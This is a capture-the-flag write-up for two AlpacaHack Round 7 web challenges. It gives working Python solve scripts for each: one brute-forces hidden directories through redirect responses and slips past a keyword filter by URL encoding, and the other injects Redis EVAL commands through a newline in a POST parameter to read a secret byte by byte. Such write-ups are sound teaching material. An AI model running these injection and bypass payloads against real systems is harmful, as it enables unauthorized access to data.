# AlpacaHack Round 7 (Web) Write up
## Treasure Hunt
> 116 pts (71 solves)
> Web
> Author:
>
> ark
Check out the challenge here yourself
https://alpacahack.com/ctfs/round-7/challenges/treasure-hunt
### Observations
There are two things that you need to figure out
In the dockerfile, the flag name is moved to a path made out of the md5sum of the flag and in a file. You have to figure out how to know if a directory exists
```dockerfile
# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
&& mkdir -p $(dirname $FLAG_PATH) \
&& mv flag.txt $FLAG_PATH
```
There is also a regex check that forbids any requests that contains the characters `flag` in the URL. You need to first figure out a way to bypass this check.
```javascript
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
```
### Solution
After some trial and error, you could know that if a directory exists, the server would redirect you to the directory. For example, if you try to access `http://server.com/a` and directory a exists, it would redirect you to `http://server.com/a/`. With this we can brute force the directory name one by one. Since md5sum contains [a-f0-9] we only need to guess at most 16 times for each directory
To bypass the regex check, you just need to URL encode the characters.
Note that python requests library would URL decode some of the characters in the URL path
> Maybe here https://github.com/psf/requests/blob/main/src/requests/models.py#L480Do
Therefore I did the encoding in the proxy on only the `flag` characters.
Solve script.
```python
import requests
import string
s = requests.session()
s.verify=False
s.proxies = {"http":"http://localhost:8080"}
def check(g):
for c in "flagbcde1234567890":
target_url = "http://34.170.146.252:19843"
res = s.get(target_url + f"{g}{c}",allow_redirects=False)
if res.status_code == 301:
print(g + c)
return g + c + "/"
return g
out = "/"
while True:
i = len(out)
out = check(out)
if len(out) == i:
break
```
## Alpaca Poll
> 146 pts (42 solves)
> Web
> Author:
>
> st98
Check out the challenge here
https://alpacahack.com/ctfs/round-7/challenges/alpaca-poll
### Observation
The parameter `animal` is controlled by the user. You can inject into the query.
```javascript
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
console.info('[SQL reply]', reply)
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
```
There is a check here that checks for newline but does not seemed to be working
```javascript
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
```
### Solve script
```python
import requests
s = requests.session()
s.verify= False
s.proxies={"http":"http://localhost:8080"}
# URL and headers
url = "http://34.170.146.252:42664/vote"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
def flagLen():
payload = f"""animal=flag
EVAL "return string.len(redis.call('GET', KEYS[1]))" 1 flag
"""
# Make the POST request
response = s.post(url, headers=headers, data=payload)
# Print the response
# print("Status Code:", response.status_code)
print("Response Body:", response.text)
return int(response.text.split(":")[-1][:-1])
def readFlag(idx):
payload = f"""animal=flag
EVAL "return string.byte(redis.call('GET', KEYS[1]):sub({idx}, {idx}))" 1 flag
"""
# Make the POST request
response = s.post(url, headers=headers, data=payload)
# Print the response
# print("Status Code:", response.status_code)
print("Response Body:", response.text)
return chr(int(response.text.split(":")[-1][:-1]))
length = flagLen()
out = ""
for i in range(length):
out += readFlag(i+1)
print(out)
```